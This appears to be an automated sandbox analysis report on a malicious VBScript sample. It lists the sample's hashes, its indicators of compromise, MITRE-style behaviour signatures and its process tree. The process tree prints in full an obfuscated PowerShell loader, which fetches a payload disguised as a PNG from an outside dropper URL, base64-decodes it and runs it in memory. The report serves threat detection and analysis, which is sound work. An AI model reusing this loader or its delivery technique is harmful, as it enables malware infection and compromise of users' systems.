Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
02/09/2026, 16:05
General
- Target task.vbs
- Size 86KB
- Sample260902-tjnntaxakh
- SHA256 cda5d00fa17f8bb45f183954128dca4adbc8d6f3f8f0765e70f4e1f771d297e5
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
https://taskerempresascol.co/MSI.png
-
exe.dropper
https://taskerempresascol.co/MSI.png
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\task.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $phytohormones = ''https://taskerempresascol.co/MSI.png''; Add-Type -AssemblyName System.Net.Http; $melammad = New-Object System.Net.CookieContainer; $nonunique = New-Object System.Net.Http.HttpClientHandler; $nonunique.AllowAutoRedirect = $true; $nonunique.CookieContainer = $melammad; $pickings = New-Object System.Net.Http.HttpClient($nonunique); $pickings.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $kronur = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $phytohormones); $negates = $pickings.SendAsync($kronur).GetAwaiter().GetResult(); $contrabandist = $negates.Content.Headers.ContentLength; if ($null -eq $contrabandist) { $contrabandist = 5000000; } $subaudition = [Math]::Min($contrabandist, 3000000); $accidentalness = [Math]::Max(0, $contrabandist - $subaudition); $counsellors = $contrabandist - 1; $currency = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $phytohormones); $currency.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($accidentalness, $counsellors); $astrogonic = $pickings.SendAsync($currency).GetAwaiter().GetResult(); [byte[]]$chromanil = $astrogonic.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $prostrates = [System.Text.Encoding]::ASCII.GetString($chromanil); } catch { $metrostaxis = (New-Object System.Net.WebClient).DownloadString($phytohormones); $prostrates = $metrostaxis; } $perquire=''IN-''; $xeriscapings=''-in1''; $trachytoid = [string]::IndexOf($prostrates, $perquire); $pajero = $prostrates.LastIndexOf($xeriscapings); if($trachytoid -eq -1 -or $pajero -eq -1){return}; $charismata = $trachytoid + $perquire.Length; $undulant = $prostrates.Substring($prostrates.IndexOf($perquire) + $perquire.Length, $pajero - ($prostrates.IndexOf($perquire) + $perquire.Length)); $gangbusters = $undulant.Replace(''*'',''A'').ToCharArray(); $picle = -join $gangbusters[($gangbusters.Length - 1)..0]; $afloqualone = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); [byte[]]$schneiderian = $afloqualone.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$picle)); $cyberspeech = [AppDomain]::(''CurrentDomain''); $inurning = $cyberspeech.GetType().GetMethod(''Load'', [byte[]]); $microliths = $inurning.Invoke($cyberspeech, (,$schneiderian)); $tipula = (''1AZPvsKJhqlqybgfFKVZpetQOwJKhDT2/0B1gruHz/hjXxBhnbXyLg4VcImDez5OiiQhfIjsyO49NMtO+vpECA=='',''F9PIpfHwe4Ci69l5Yq25UJhm8nXK8rEAGhpGKkJYOpU='',''Qgc9YTjVILFfYaZdcycMGXJ3JJ+J2I0/gV3EKSqNugXi37nhfTxI1XPFJE9IOwPA'',''ty5zj8t+yVLEOe9KHD4TEnpqVkPHrqDfGB40GshlLo0='',''rc4Puuy/GxSokKLV5bGIXqijM6WsWVpYopmD1Vf+PEM='','''',''vjY3aYyRkkQrV6QJpMY470bQYA9wu95UJ2eGvDr8xmk='',''ATWk4JfDcjQHzmLEtLPNHbYFmJ4zmPLdQNL9ObjJcDY='',''EE/VZB1QUNgiXD9foNwPckQO3bVYOu2EQ81b/2gKT5/DIutWiHQH7aw8H0mOJdpm6SO/bt03Hq+u7xq3X4/lmQ=='',''JLUYckX9J5p1E9j0ewlBITb9oHabp+EVK7Fm8wd8HP3Trpbp8EobXeT4kIJwyR0Y'',''qRWIjUl7zwHAl5z04xOpq3p2L0KsCgolqLnMEd0+Nes='',''maGpf5CyHUl++Ol8mAAr/oi6MKwFN3zr/Uf3pdhLRR8='',''UFk1QpVZwUEaVcUamYMrxjt30xYHJZwzBdhOxdJDNFo='',''hSahFHrsHSv0RiSwGQ3GDbcVqB++wxroYlFsXP9D9mQ='',''6v0yFoXD1+M1OHP7gk4UXsOnR/lYyLkEKkSZkAyjqDk='',''1rfcVePtk6GhkGFOUOlCYNdqht7+Jl4ffpoN+hWw3Yc='','''','''',''''); try { $archeologist = ($microliths.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $nonMexican = ($archeologist.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $nonMexican.Invoke($null, [object[]]$tipula); } catch {} finally { if ($null -ne $pickings) { $pickings.Dispose() } }'))"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_xe3bdjnu.byh.ps1
memory/2128-0-0x000002407EE00000-0x000002407EE10000-memory.dmp
memory/2128-1-0x000002407EE00000-0x000002407EE10000-memory.dmp
memory/2128-2-0x000002407EED0000-0x000002407EEF2000-memory.dmp
memory/2128-10-0x000002407EE00000-0x000002407EE10000-memory.dmp